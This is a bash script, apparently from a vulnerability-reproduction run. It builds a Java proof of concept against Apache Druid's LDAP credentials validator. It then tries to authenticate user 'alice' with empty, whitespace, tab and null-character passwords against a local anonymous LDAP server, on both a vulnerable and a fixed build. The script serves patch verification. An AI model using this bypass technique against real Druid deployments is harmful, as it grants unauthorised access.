#!/bin/bash
set -euo pipefail
ROOT="${PRUVA_ROOT:-/data/pruva/runs/71ed9bcc-5230-44e4-895f-c399267f95e2}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

DUID_REPO="$ROOT/druid"
DUID_FIXED="$ROOT/druid_fixed"

sudo apt-get update
sudo apt-get install -y openjdk-17-jdk maven
export JAVA_HOME=/usr/lib/jvm/java-17-openjdk-arm64
export PATH="$JAVA_HOME/bin:$PATH"

mvn -q -Dartifact=com.unboundid:unboundid-ldapsdk:6.0.11 dependency:get
UNBOUNDID_JAR="$HOME/.m2/repository/com/unboundid/unboundid-ldapsdk/6.0.11/unboundid-ldapsdk-6.0.11.jar"

LDAP_SRC="$LOGS/AnonLdapServer.java"
if [ ! -f "$LDAP_SRC" ]; then
  echo "Missing AnonLdapServer.java from repro" | tee "$LOGS/variant_attempt_setup.log"
  exit 1
fi

if ! pgrep -f AnonLdapServer >/dev/null 2>&1; then
  javac -cp "$UNBOUNDID_JAR" "$LDAP_SRC" -d "$LOGS"
  java -cp "$LOGS:$UNBOUNDID_JAR" AnonLdapServer >"$LOGS/ldap_server_variant.log" 2>&1 &
  sleep 2
fi

cp_file="$LOGS/variant_classpath.txt"
if [ ! -f "$cp_file" ]; then
  mvn -q -f "$DUID_REPO/pom.xml" -pl extensions-core/druid-basic-security -am dependency:build-classpath -DincludeScope=compile -Dmdep.outputFile="$cp_file"
fi

CLASSPATH="$(cat "$cp_file"):$DUID_REPO/extensions-core/druid-basic-security/target/classes"

POC="$LOGS/LdapVariantPoC.java"
cat >"$POC" <<'JAVA'
import org.apache.druid.security.basic.authentication.validator.LDAPCredentialsValidator;
import org.apache.druid.security.basic.BasicAuthLDAPConfig;
import org.apache.druid.server.security.AuthenticationResult;

public class LdapVariantPoC {
  public static void main(String[] args) throws Exception {
    String url = "ldap://127.0.0.1:1389";
    String bindUser = "cn=admin,dc=example,dc=org";
    String bindPass = "admin";
    String baseDn = "dc=example,dc=org";
    String userSearch = "(uid=%s)";
    String userAttr = "uid";

    BasicAuthLDAPConfig config = new BasicAuthLDAPConfig(
        url,
        bindUser,
        new org.apache.druid.metadata.DefaultPasswordProvider(bindPass),
        baseDn,
        userSearch,
        userAttr,
        1000,
        600,
        3600,
        100
    );
    LDAPCredentialsValidator validator = new LDAPCredentialsValidator(
        config,
        new LDAPCredentialsValidator.LruBlockCache(3600, 3600, 100),
        null
    );

    String username = args[0];
    String password = args[1];
    AuthenticationResult result = validator.validateCredentials("ldap", "authz", username, password.toCharArray());
    if (result == null) {
      System.out.println("AUTH_NULL");
    } else {
      System.out.println("AUTH_OK: " + result.getIdentity());
    }
  }
}
JAVA

javac -cp "$CLASSPATH" "$POC" -d "$LOGS"

attempt() {
  local label="$1"
  local user="$2"
  local pass="$3"
  echo "Attempt $label user=$user pass='$pass'" | tee -a "$LOGS/variant_attempts.log"
  set +e
  java -cp "$LOGS:$CLASSPATH" LdapVariantPoC "$user" "$pass" 2>&1 | tee -a "$LOGS/variant_attempts.log"
  echo "exit_code=$?" | tee -a "$LOGS/variant_attempts.log"
  set -e
}

attempt "empty" "alice" ""
attempt "space" "alice" " "
attempt "tab" "alice" $'\t'
attempt "nullchar" "alice" $'\0'

cp_fixed="$LOGS/variant_classpath_fixed.txt"
if [ ! -f "$cp_fixed" ]; then
  mvn -q -f "$DUID_FIXED/pom.xml" -pl extensions-core/druid-basic-security -am dependency:build-classpath -DincludeScope=compile -Dmdep.outputFile="$cp_fixed"
fi

CLASSPATH_FIXED="$(cat "$cp_fixed"):$DUID_FIXED/extensions-core/druid-basic-security/target/classes"

mkdir -p "$LOGS/fixed"
javac -cp "$CLASSPATH_FIXED" "$POC" -d "$LOGS/fixed"

attempt_fixed() {
  local label="$1"
  local user="$2"
  local pass="$3"
  echo "Fixed attempt $label user=$user pass='$pass'" | tee -a "$LOGS/variant_attempts.log"
  set +e
  java -cp "$LOGS/fixed:$CLASSPATH_FIXED" LdapVariantPoC "$user" "$pass" 2>&1 | tee -a "$LOGS/variant_attempts.log"
  echo "exit_code=$?" | tee -a "$LOGS/variant_attempts.log"
  set -e
}

attempt_fixed "empty" "alice" ""
attempt_fixed "space" "alice" " "
attempt_fixed "tab" "alice" $'\t'
attempt_fixed "nullchar" "alice" $'\0'